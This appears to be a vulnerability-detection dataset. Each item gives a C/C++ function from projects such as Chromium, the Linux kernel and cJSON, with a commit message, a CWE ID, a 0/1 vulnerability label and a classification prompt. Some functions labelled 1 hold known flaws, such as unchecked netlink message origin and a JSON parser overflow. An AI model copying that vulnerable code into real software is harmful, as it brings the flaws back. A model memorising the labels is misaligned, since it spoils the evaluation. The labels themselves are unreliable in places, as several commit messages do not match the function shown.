!parsed_command_line().HasSwitch(switches::kGuestSession)) {
singleton_command_line->AppendSwitchASCII(
switches::kLoginUser,
cryptohome::Identification(user_manager::StubAccountId()).id());
if (!parsed_command_line().HasSwitch(switches::kLoginProfile)) {
singleton_command_line->AppendSwitchASCII(switches::kLoginProfile,
chrome::kTestUserProfileDir);
}
LOG(WARNING) << "Running as stub user with profile dir: "
<< singleton_command_line
->GetSwitchValuePath(switches::kLoginProfile)
.value();
}
RegisterStubPathOverridesIfNecessary();
#if defined(GOOGLE_CHROME_BUILD)
const char kChromeOSReleaseTrack[] = "CHROMEOS_RELEASE_TRACK";
std::string channel;
if (base::SysInfo::GetLsbReleaseValue(kChromeOSReleaseTrack, &channel))
chrome::SetChannel(channel);
#endif
dbus_pre_early_init_ = std::make_unique<internal::DBusPreEarlyInit>();
return ChromeBrowserMainPartsLinux::PreEarlyInitialization();
}
Commit Message: Add a fake DriveFS launcher client.
Using DriveFS requires building and deploying ChromeOS. Add a client for
the fake DriveFS launcher to allow the use of a real DriveFS from a
ChromeOS chroot to be used with a target_os="chromeos" build of chrome.
This connects to the fake DriveFS launcher using mojo over a unix domain
socket named by a command-line flag, using the launcher to create
DriveFS instances.
Bug: 848126
Change-Id: I22dcca154d41bda196dd7c1782bb503f6bcba5b1
Reviewed-on: https://chromium-review.googlesource.com/1098434
Reviewed-by: Xiyuan Xia <xiyuan@chromium.org>
Commit-Queue: Sam McNally <sammc@chromium.org>
Cr-Commit-Position: refs/heads/master@{#567513}
CWE ID:
| 1
| 171,728
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PanelInScreen(aura::Window* panel) {
gfx::Rect panel_bounds = panel->GetBoundsInRootWindow();
gfx::Point root_point = gfx::Point(panel_bounds.x(), panel_bounds.y());
display::Display display =
display::Screen::GetScreen()->GetDisplayNearestPoint(root_point);
gfx::Rect panel_bounds_in_screen = panel->GetBoundsInScreen();
gfx::Point screen_bottom_right = gfx::Point(
panel_bounds_in_screen.right(), panel_bounds_in_screen.bottom());
gfx::Rect display_bounds = display.bounds();
EXPECT_TRUE(screen_bottom_right.x() < display_bounds.width() &&
screen_bottom_right.y() < display_bounds.height());
}
Commit Message: cros: Enable some tests in //ash/wm in ash_unittests --mash
For the ones that fail, disable them via filter file instead of in the
code, per our disablement policy.
Bug: 698085, 695556, 698878, 698888, 698093, 698894
Test: ash_unittests --mash
Change-Id: Ic145ab6a95508968d6884d14fac2a3ca08888d26
Reviewed-on: https://chromium-review.googlesource.com/752423
Commit-Queue: James Cook <jamescook@chromium.org>
Reviewed-by: Steven Bennetts <stevenjb@chromium.org>
Cr-Commit-Position: refs/heads/master@{#513836}
CWE ID: CWE-119
| 0
| 133,247
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: fetch_ext_or_command_from_buf(buf_t *buf, ext_or_cmd_t **out)
{
char hdr[EXT_OR_CMD_HEADER_SIZE];
uint16_t len;
check();
if (buf->datalen < EXT_OR_CMD_HEADER_SIZE)
return 0;
peek_from_buf(hdr, sizeof(hdr), buf);
len = ntohs(get_uint16(hdr+2));
if (buf->datalen < (unsigned)len + EXT_OR_CMD_HEADER_SIZE)
return 0;
*out = ext_or_cmd_new(len);
(*out)->cmd = ntohs(get_uint16(hdr));
(*out)->len = len;
buf_remove_from_front(buf, EXT_OR_CMD_HEADER_SIZE);
fetch_from_buf((*out)->body, len, buf);
return 1;
}
Commit Message: Add a one-word sentinel value of 0x0 at the end of each buf_t chunk
This helps protect against bugs where any part of a buf_t's memory
is passed to a function that expects a NUL-terminated input.
It also closes TROVE-2016-10-001 (aka bug 20384).
CWE ID: CWE-119
| 0
| 73,164
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void arcmsr_hbaC_flush_cache(struct AdapterControlBlock *pACB)
{
struct MessageUnit_C __iomem *reg = pACB->pmuC;
int retry_count = 30;/* enlarge wait flush adapter cache time: 10 minute */
writel(ARCMSR_INBOUND_MESG0_FLUSH_CACHE, ®->inbound_msgaddr0);
writel(ARCMSR_HBCMU_DRV2IOP_MESSAGE_CMD_DONE, ®->inbound_doorbell);
do {
if (arcmsr_hbaC_wait_msgint_ready(pACB)) {
break;
} else {
retry_count--;
printk(KERN_NOTICE "arcmsr%d: wait 'flush adapter cache' \
timeout,retry count down = %d \n", pACB->host->host_no, retry_count);
}
} while (retry_count != 0);
return;
}
Commit Message: scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer()
We need to put an upper bound on "user_len" so the memcpy() doesn't
overflow.
Cc: <stable@vger.kernel.org>
Reported-by: Marco Grassi <marco.gra@gmail.com>
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Reviewed-by: Tomas Henzl <thenzl@redhat.com>
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
CWE ID: CWE-119
| 0
| 49,784
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: WebString WebLocalFrameImpl::GetLayerTreeAsTextForTesting(
bool show_debug_info) const {
if (!GetFrame())
return WebString();
return WebString(GetFrame()->GetLayerTreeAsTextForTesting(
show_debug_info ? kLayerTreeIncludesDebugInfo : kLayerTreeNormal));
}
Commit Message: Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333}
CWE ID: CWE-732
| 0
| 134,316
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int main(void)
{
int fd, len, sock_opt;
int error;
struct cn_msg *message;
struct pollfd pfd;
struct nlmsghdr *incoming_msg;
struct cn_msg *incoming_cn_msg;
struct hv_kvp_msg *hv_msg;
char *p;
char *key_value;
char *key_name;
daemon(1, 0);
openlog("KVP", 0, LOG_USER);
syslog(LOG_INFO, "KVP starting; pid is:%d", getpid());
/*
* Retrieve OS release information.
*/
kvp_get_os_info();
if (kvp_file_init()) {
syslog(LOG_ERR, "Failed to initialize the pools");
exit(-1);
}
fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_CONNECTOR);
if (fd < 0) {
syslog(LOG_ERR, "netlink socket creation failed; error:%d", fd);
exit(-1);
}
addr.nl_family = AF_NETLINK;
addr.nl_pad = 0;
addr.nl_pid = 0;
addr.nl_groups = CN_KVP_IDX;
error = bind(fd, (struct sockaddr *)&addr, sizeof(addr));
if (error < 0) {
syslog(LOG_ERR, "bind failed; error:%d", error);
close(fd);
exit(-1);
}
sock_opt = addr.nl_groups;
setsockopt(fd, 270, 1, &sock_opt, sizeof(sock_opt));
/*
* Register ourselves with the kernel.
*/
message = (struct cn_msg *)kvp_send_buffer;
message->id.idx = CN_KVP_IDX;
message->id.val = CN_KVP_VAL;
hv_msg = (struct hv_kvp_msg *)message->data;
hv_msg->kvp_hdr.operation = KVP_OP_REGISTER;
message->ack = 0;
message->len = sizeof(struct hv_kvp_msg);
len = netlink_send(fd, message);
if (len < 0) {
syslog(LOG_ERR, "netlink_send failed; error:%d", len);
close(fd);
exit(-1);
}
pfd.fd = fd;
while (1) {
pfd.events = POLLIN;
pfd.revents = 0;
poll(&pfd, 1, -1);
len = recv(fd, kvp_recv_buffer, sizeof(kvp_recv_buffer), 0);
if (len < 0) {
syslog(LOG_ERR, "recv failed; error:%d", len);
close(fd);
return -1;
}
incoming_msg = (struct nlmsghdr *)kvp_recv_buffer;
incoming_cn_msg = (struct cn_msg *)NLMSG_DATA(incoming_msg);
hv_msg = (struct hv_kvp_msg *)incoming_cn_msg->data;
switch (hv_msg->kvp_hdr.operation) {
case KVP_OP_REGISTER:
/*
* Driver is registering with us; stash away the version
* information.
*/
p = (char *)hv_msg->body.kvp_register.version;
lic_version = malloc(strlen(p) + 1);
if (lic_version) {
strcpy(lic_version, p);
syslog(LOG_INFO, "KVP LIC Version: %s",
lic_version);
} else {
syslog(LOG_ERR, "malloc failed");
}
continue;
/*
* The current protocol with the kernel component uses a
* NULL key name to pass an error condition.
* For the SET, GET and DELETE operations,
* use the existing protocol to pass back error.
*/
case KVP_OP_SET:
if (kvp_key_add_or_modify(hv_msg->kvp_hdr.pool,
hv_msg->body.kvp_set.data.key,
hv_msg->body.kvp_set.data.key_size,
hv_msg->body.kvp_set.data.value,
hv_msg->body.kvp_set.data.value_size))
strcpy(hv_msg->body.kvp_set.data.key, "");
break;
case KVP_OP_GET:
if (kvp_get_value(hv_msg->kvp_hdr.pool,
hv_msg->body.kvp_set.data.key,
hv_msg->body.kvp_set.data.key_size,
hv_msg->body.kvp_set.data.value,
hv_msg->body.kvp_set.data.value_size))
strcpy(hv_msg->body.kvp_set.data.key, "");
break;
case KVP_OP_DELETE:
if (kvp_key_delete(hv_msg->kvp_hdr.pool,
hv_msg->body.kvp_delete.key,
hv_msg->body.kvp_delete.key_size))
strcpy(hv_msg->body.kvp_delete.key, "");
break;
default:
break;
}
if (hv_msg->kvp_hdr.operation != KVP_OP_ENUMERATE)
goto kvp_done;
/*
* If the pool is KVP_POOL_AUTO, dynamically generate
* both the key and the value; if not read from the
* appropriate pool.
*/
if (hv_msg->kvp_hdr.pool != KVP_POOL_AUTO) {
kvp_pool_enumerate(hv_msg->kvp_hdr.pool,
hv_msg->body.kvp_enum_data.index,
hv_msg->body.kvp_enum_data.data.key,
HV_KVP_EXCHANGE_MAX_KEY_SIZE,
hv_msg->body.kvp_enum_data.data.value,
HV_KVP_EXCHANGE_MAX_VALUE_SIZE);
goto kvp_done;
}
hv_msg = (struct hv_kvp_msg *)incoming_cn_msg->data;
key_name = (char *)hv_msg->body.kvp_enum_data.data.key;
key_value = (char *)hv_msg->body.kvp_enum_data.data.value;
switch (hv_msg->body.kvp_enum_data.index) {
case FullyQualifiedDomainName:
kvp_get_domain_name(key_value,
HV_KVP_EXCHANGE_MAX_VALUE_SIZE);
strcpy(key_name, "FullyQualifiedDomainName");
break;
case IntegrationServicesVersion:
strcpy(key_name, "IntegrationServicesVersion");
strcpy(key_value, lic_version);
break;
case NetworkAddressIPv4:
kvp_get_ip_address(AF_INET, key_value,
HV_KVP_EXCHANGE_MAX_VALUE_SIZE);
strcpy(key_name, "NetworkAddressIPv4");
break;
case NetworkAddressIPv6:
kvp_get_ip_address(AF_INET6, key_value,
HV_KVP_EXCHANGE_MAX_VALUE_SIZE);
strcpy(key_name, "NetworkAddressIPv6");
break;
case OSBuildNumber:
strcpy(key_value, os_build);
strcpy(key_name, "OSBuildNumber");
break;
case OSName:
strcpy(key_value, os_name);
strcpy(key_name, "OSName");
break;
case OSMajorVersion:
strcpy(key_value, os_major);
strcpy(key_name, "OSMajorVersion");
break;
case OSMinorVersion:
strcpy(key_value, os_minor);
strcpy(key_name, "OSMinorVersion");
break;
case OSVersion:
strcpy(key_value, os_build);
strcpy(key_name, "OSVersion");
break;
case ProcessorArchitecture:
strcpy(key_value, processor_arch);
strcpy(key_name, "ProcessorArchitecture");
break;
default:
strcpy(key_value, "Unknown Key");
/*
* We use a null key name to terminate enumeration.
*/
strcpy(key_name, "");
break;
}
/*
* Send the value back to the kernel. The response is
* already in the receive buffer. Update the cn_msg header to
* reflect the key value that has been added to the message
*/
kvp_done:
incoming_cn_msg->id.idx = CN_KVP_IDX;
incoming_cn_msg->id.val = CN_KVP_VAL;
incoming_cn_msg->ack = 0;
incoming_cn_msg->len = sizeof(struct hv_kvp_msg);
len = netlink_send(fd, incoming_cn_msg);
if (len < 0) {
syslog(LOG_ERR, "net_link send failed; error:%d", len);
exit(-1);
}
}
}
Commit Message: Tools: hv: verify origin of netlink connector message
The SuSE security team suggested to use recvfrom instead of recv to be
certain that the connector message is originated from kernel.
CVE-2012-2669
Signed-off-by: Olaf Hering <olaf@aepfle.de>
Signed-off-by: Marcus Meissner <meissner@suse.de>
Signed-off-by: Sebastian Krahmer <krahmer@suse.de>
Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-20
| 1
| 165,593
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void btif_hl_proc_cch_close_ind(tBTA_HL *p_data)
{
BTIF_TRACE_DEBUG("%s", __FUNCTION__);
btif_hl_clean_mcb_using_handle(p_data->cch_close_ind.mcl_handle);
}
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
CWE ID: CWE-284
| 0
| 158,723
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void mnt_set_mountpoint(struct mount *mnt, struct dentry *dentry,
struct mount *child_mnt)
{
mnt_add_count(mnt, 1); /* essentially, that's mntget */
child_mnt->mnt_mountpoint = dget(dentry);
child_mnt->mnt_parent = mnt;
spin_lock(&dentry->d_lock);
dentry->d_flags |= DCACHE_MOUNTED;
spin_unlock(&dentry->d_lock);
}
Commit Message: vfs: Carefully propogate mounts across user namespaces
As a matter of policy MNT_READONLY should not be changable if the
original mounter had more privileges than creator of the mount
namespace.
Add the flag CL_UNPRIVILEGED to note when we are copying a mount from
a mount namespace that requires more privileges to a mount namespace
that requires fewer privileges.
When the CL_UNPRIVILEGED flag is set cause clone_mnt to set MNT_NO_REMOUNT
if any of the mnt flags that should never be changed are set.
This protects both mount propagation and the initial creation of a less
privileged mount namespace.
Cc: stable@vger.kernel.org
Acked-by: Serge Hallyn <serge.hallyn@canonical.com>
Reported-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
CWE ID: CWE-264
| 0
| 32,395
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void voidMethodLongArgMethodCallback(const v8::FunctionCallbackInfo<v8::Value>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMMethod");
TestObjectPythonV8Internal::voidMethodLongArgMethod(info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 122,836
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int edge_port_remove(struct usb_serial_port *port)
{
struct edgeport_port *edge_port;
edge_port = usb_get_serial_port_data(port);
edge_remove_sysfs_attrs(port);
kfree(edge_port);
return 0;
}
Commit Message: USB: serial: io_ti: fix information leak in completion handler
Add missing sanity check to the bulk-in completion handler to avoid an
integer underflow that can be triggered by a malicious device.
This avoids leaking 128 kB of memory content from after the URB transfer
buffer to user space.
Fixes: 8c209e6782ca ("USB: make actual_length in struct urb field u32")
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable <stable@vger.kernel.org> # 2.6.30
Signed-off-by: Johan Hovold <johan@kernel.org>
CWE ID: CWE-191
| 0
| 66,082
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderWidgetHostImpl::OnHasTouchEventHandlers(bool has_handlers) {
has_touch_handler_ = has_handlers;
}
Commit Message: Check that RWHI isn't deleted manually while owned by a scoped_ptr in RVHI
BUG=590284
Review URL: https://codereview.chromium.org/1747183002
Cr-Commit-Position: refs/heads/master@{#378844}
CWE ID:
| 0
| 130,984
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PepperDeviceEnumerationHostHelper::PepperDeviceEnumerationHostHelper(
ppapi::host::ResourceHost* resource_host,
Delegate* delegate,
PP_DeviceType_Dev device_type,
const GURL& document_url)
: resource_host_(resource_host),
delegate_(delegate),
device_type_(device_type),
document_url_(document_url) {}
Commit Message: Pepper: Access PepperMediaDeviceManager through a WeakPtr
Its lifetime is scoped to the RenderFrame, and it might go away before the
hosts that refer to it.
BUG=423030
Review URL: https://codereview.chromium.org/653243003
Cr-Commit-Position: refs/heads/master@{#299897}
CWE ID: CWE-399
| 1
| 171,604
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int make_socketpair (int socks[2], int dummy) {
if (socks == 0) {
errno = EINVAL;
return -1;
}
dummy = socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
if (dummy) {
socks[0] = socks[1] = -1;
}
return dummy;
}
Commit Message: Avoid a crash (double-free) when SSH connection fails
CWE ID: CWE-415
| 0
| 93,499
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static const char *parse_array( cJSON *item, const char *value )
{
cJSON *child;
if ( *value != '[' ) {
/* Not an array! */
ep = value;
return 0;
}
item->type = cJSON_Array;
value = skip( value + 1 );
if ( *value == ']' )
return value + 1; /* empty array. */
if ( ! ( item->child = child = cJSON_New_Item() ) )
return 0; /* memory fail */
if ( ! ( value = skip( parse_value( child, skip( value ) ) ) ) )
return 0;
while ( *value == ',' ) {
cJSON *new_item;
if ( ! ( new_item = cJSON_New_Item() ) )
return 0; /* memory fail */
child->next = new_item;
new_item->prev = child;
child = new_item;
if ( ! ( value = skip( parse_value( child, skip( value+1 ) ) ) ) )
return 0; /* memory fail */
}
if ( *value == ']' )
return value + 1; /* end of array */
/* Malformed. */
ep = value;
return 0;
}
Commit Message: Fix a buffer overflow / heap corruption issue that could occur if a
malformed JSON string was passed on the control channel. This issue,
present in the cJSON library, was already fixed upstream, so was
addressed here in iperf3 by importing a newer version of cJSON (plus
local ESnet modifications).
Discovered and reported by Dave McDaniel, Cisco Talos.
Based on a patch by @dopheide-esnet, with input from @DaveGamble.
Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001,
CVE-2016-4303
(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)
Signed-off-by: Bruce A. Mah <bmah@es.net>
CWE ID: CWE-119
| 1
| 167,301
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void sco_connect_cfm(struct hci_conn *hcon, __u8 status)
{
BT_DBG("hcon %p bdaddr %pMR status %d", hcon, &hcon->dst, status);
if (!status) {
struct sco_conn *conn;
conn = sco_conn_add(hcon);
if (conn)
sco_conn_ready(conn);
} else
sco_conn_del(hcon, bt_to_errno(status));
}
Commit Message: Bluetooth: SCO - Fix missing msg_namelen update in sco_sock_recvmsg()
If the socket is in state BT_CONNECT2 and BT_SK_DEFER_SETUP is set in
the flags, sco_sock_recvmsg() returns early with 0 without updating the
possibly set msg_namelen member. This, in turn, leads to a 128 byte
kernel stack leak in net/socket.c.
Fix this by updating msg_namelen in this case. For all other cases it
will be handled in bt_sock_recvmsg().
Cc: Marcel Holtmann <marcel@holtmann.org>
Cc: Gustavo Padovan <gustavo@padovan.org>
Cc: Johan Hedberg <johan.hedberg@gmail.com>
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 30,702
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Splash::setStrokeAdjust(GBool strokeAdjust) {
state->strokeAdjust = strokeAdjust;
}
Commit Message:
CWE ID: CWE-189
| 0
| 1,289
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: Address NormalPageArena::LazySweepPages(size_t allocation_size,
size_t gc_info_index) {
DCHECK(!HasCurrentAllocationArea());
AutoReset<bool> is_lazy_sweeping(&is_lazy_sweeping_, true);
Address result = nullptr;
while (!SweepingCompleted()) {
BasePage* page = first_unswept_page_;
if (page->IsEmpty()) {
page->Unlink(&first_unswept_page_);
page->RemoveFromHeap();
} else {
page->Sweep();
page->Unlink(&first_unswept_page_);
page->Link(&first_page_);
page->MarkAsSwept();
result = AllocateFromFreeList(allocation_size, gc_info_index);
if (result)
break;
}
}
return result;
}
Commit Message: [oilpan] Fix GCInfoTable for multiple threads
Previously, grow and access from different threads could lead to a race
on the table backing; see bug.
- Rework the table to work on an existing reservation.
- Commit upon growing, avoiding any copies.
Drive-by: Fix over-allocation of table.
Bug: chromium:841280
Change-Id: I329cb6f40091e14e8c05334ba1104a9440c31d43
Reviewed-on: https://chromium-review.googlesource.com/1061525
Commit-Queue: Michael Lippautz <mlippautz@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Cr-Commit-Position: refs/heads/master@{#560434}
CWE ID: CWE-362
| 0
| 153,718
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Element::detachAttrNodeAtIndex(Attr* attr, size_t index)
{
ASSERT(attr);
ASSERT(elementData());
const Attribute* attribute = elementData()->attributeItem(index);
ASSERT(attribute);
ASSERT(attribute->name() == attr->qualifiedName());
detachAttrNodeFromElementWithValue(attr, attribute->value());
removeAttributeInternal(index, NotInSynchronizationOfLazyAttribute);
}
Commit Message: Set Attr.ownerDocument in Element#setAttributeNode()
Attr objects can move across documents by setAttributeNode().
So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded().
BUG=248950
TEST=set-attribute-node-from-iframe.html
Review URL: https://chromiumcodereview.appspot.com/17583003
git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 112,247
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int add_persistent_gnt(struct xen_blkif_ring *ring,
struct persistent_gnt *persistent_gnt)
{
struct rb_node **new = NULL, *parent = NULL;
struct persistent_gnt *this;
struct xen_blkif *blkif = ring->blkif;
if (ring->persistent_gnt_c >= xen_blkif_max_pgrants) {
if (!blkif->vbd.overflow_max_grants)
blkif->vbd.overflow_max_grants = 1;
return -EBUSY;
}
/* Figure out where to put new node */
new = &ring->persistent_gnts.rb_node;
while (*new) {
this = container_of(*new, struct persistent_gnt, node);
parent = *new;
if (persistent_gnt->gnt < this->gnt)
new = &((*new)->rb_left);
else if (persistent_gnt->gnt > this->gnt)
new = &((*new)->rb_right);
else {
pr_alert_ratelimited("trying to add a gref that's already in the tree\n");
return -EINVAL;
}
}
bitmap_zero(persistent_gnt->flags, PERSISTENT_GNT_FLAGS_SIZE);
set_bit(PERSISTENT_GNT_ACTIVE, persistent_gnt->flags);
/* Add new node and rebalance tree. */
rb_link_node(&(persistent_gnt->node), parent, new);
rb_insert_color(&(persistent_gnt->node), &ring->persistent_gnts);
ring->persistent_gnt_c++;
atomic_inc(&ring->persistent_gnt_in_use);
return 0;
}
Commit Message: xen-blkback: don't leak stack data via response ring
Rather than constructing a local structure instance on the stack, fill
the fields directly on the shared ring, just like other backends do.
Build on the fact that all response structure flavors are actually
identical (the old code did make this assumption too).
This is XSA-216.
Cc: stable@vger.kernel.org
Signed-off-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
CWE ID: CWE-200
| 0
| 63,723
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: finalize_common (CommonJob *common)
{
nautilus_progress_info_finish (common->progress);
if (common->inhibit_cookie != 0)
{
gtk_application_uninhibit (GTK_APPLICATION (g_application_get_default ()),
common->inhibit_cookie);
}
common->inhibit_cookie = 0;
g_timer_destroy (common->time);
if (common->parent_window)
{
g_object_remove_weak_pointer (G_OBJECT (common->parent_window),
(gpointer *) &common->parent_window);
}
if (common->skip_files)
{
g_hash_table_destroy (common->skip_files);
}
if (common->skip_readdir_error)
{
g_hash_table_destroy (common->skip_readdir_error);
}
if (common->undo_info != NULL)
{
nautilus_file_undo_manager_set_action (common->undo_info);
g_object_unref (common->undo_info);
}
g_object_unref (common->progress);
g_object_unref (common->cancellable);
g_free (common);
}
Commit Message: mime-actions: use file metadata for trusting desktop files
Currently we only trust desktop files that have the executable bit
set, and don't replace the displayed icon or the displayed name until
it's trusted, which prevents for running random programs by a malicious
desktop file.
However, the executable permission is preserved if the desktop file
comes from a compressed file.
To prevent this, add a metadata::trusted metadata to the file once the
user acknowledges the file as trusted. This adds metadata to the file,
which cannot be added unless it has access to the computer.
Also remove the SHEBANG "trusted" content we were putting inside the
desktop file, since that doesn't add more security since it can come
with the file itself.
https://bugzilla.gnome.org/show_bug.cgi?id=777991
CWE ID: CWE-20
| 0
| 61,063
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SYSCALL_DEFINE2(io_setup, unsigned, nr_events, aio_context_t __user *, ctxp)
{
struct kioctx *ioctx = NULL;
unsigned long ctx;
long ret;
ret = get_user(ctx, ctxp);
if (unlikely(ret))
goto out;
ret = -EINVAL;
if (unlikely(ctx || nr_events == 0)) {
pr_debug("EINVAL: io_setup: ctx %lu nr_events %u\n",
ctx, nr_events);
goto out;
}
ioctx = ioctx_alloc(nr_events);
ret = PTR_ERR(ioctx);
if (!IS_ERR(ioctx)) {
ret = put_user(ioctx->user_id, ctxp);
if (ret)
kill_ioctx(current->mm, ioctx);
percpu_ref_put(&ioctx->users);
}
out:
return ret;
}
Commit Message: aio: prevent double free in ioctx_alloc
ioctx_alloc() calls aio_setup_ring() to allocate a ring. If aio_setup_ring()
fails to do so it would call aio_free_ring() before returning, but
ioctx_alloc() would call aio_free_ring() again causing a double free of
the ring.
This is easily reproducible from userspace.
Signed-off-by: Sasha Levin <sasha.levin@oracle.com>
Signed-off-by: Benjamin LaHaise <bcrl@kvack.org>
CWE ID: CWE-399
| 0
| 40,087
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: DECL_PIOCTL(PStoreBehind)
{
struct sbstruct sbr;
if (afs_pd_getBytes(ain, &sbr, sizeof(struct sbstruct)) != 0)
return EINVAL;
if (sbr.sb_default != -1) {
if (afs_osi_suser(*acred))
afs_defaultAsynchrony = sbr.sb_default;
else
return EPERM;
}
if (avc && (sbr.sb_thisfile != -1)) {
if (afs_AccessOK
(avc, PRSFS_WRITE | PRSFS_ADMINISTER, areq, DONT_CHECK_MODE_BITS))
avc->asynchrony = sbr.sb_thisfile;
else
return EACCES;
}
memset(&sbr, 0, sizeof(sbr));
sbr.sb_default = afs_defaultAsynchrony;
if (avc) {
sbr.sb_thisfile = avc->asynchrony;
}
return afs_pd_putBytes(aout, &sbr, sizeof(sbr));
}
Commit Message:
CWE ID: CWE-189
| 0
| 14,437
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PrintViewManager::OnScriptedPrintPreviewReply(IPC::Message* reply_msg) {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
print_preview_rfh_->Send(reply_msg);
}
Commit Message: If JavaScript shows a dialog, cause the page to lose fullscreen.
BUG=670135, 550017, 726761, 728276
Review-Url: https://codereview.chromium.org/2906133004
Cr-Commit-Position: refs/heads/master@{#478884}
CWE ID: CWE-20
| 0
| 135,612
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void LockScreenMediaControlsView::UpdateActionButtonsVisibility() {
std::set<MediaSessionAction> ignored_actions = {
media_message_center::GetPlayPauseIgnoredAction(
media_message_center::GetActionFromButtonTag(*play_pause_button_))};
std::set<MediaSessionAction> visible_actions =
media_message_center::GetTopVisibleActions(enabled_actions_,
ignored_actions, kMaxActions);
for (auto* view : button_row_->children()) {
views::Button* action_button = views::Button::AsButton(view);
bool should_show = base::Contains(
visible_actions,
media_message_center::GetActionFromButtonTag(*action_button));
action_button->SetVisible(should_show);
}
PreferredSizeChanged();
}
Commit Message: [Lock Screen Media Controls] Tweak UI based on new mocks
This CL rearranges the different components of the CrOS lock screen
media controls based on the newest mocks. This involves resizing most
of the child views and their spacings. The artwork was also resized
and re-positioned. Additionally, the close button was moved from the
main view to the header row child view.
Artist and title data about the current session will eventually be
placed to the right of the artwork, but right now this space is empty.
See the bug for before and after pictures.
Bug: 991647
Change-Id: I7b97f31982ccf2912bd2564d5241bfd849d21d92
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1746554
Reviewed-by: Xiyuan Xia <xiyuan@chromium.org>
Reviewed-by: Becca Hughes <beccahughes@chromium.org>
Commit-Queue: Mia Bergeron <miaber@google.com>
Cr-Commit-Position: refs/heads/master@{#686253}
CWE ID: CWE-200
| 0
| 136,507
|
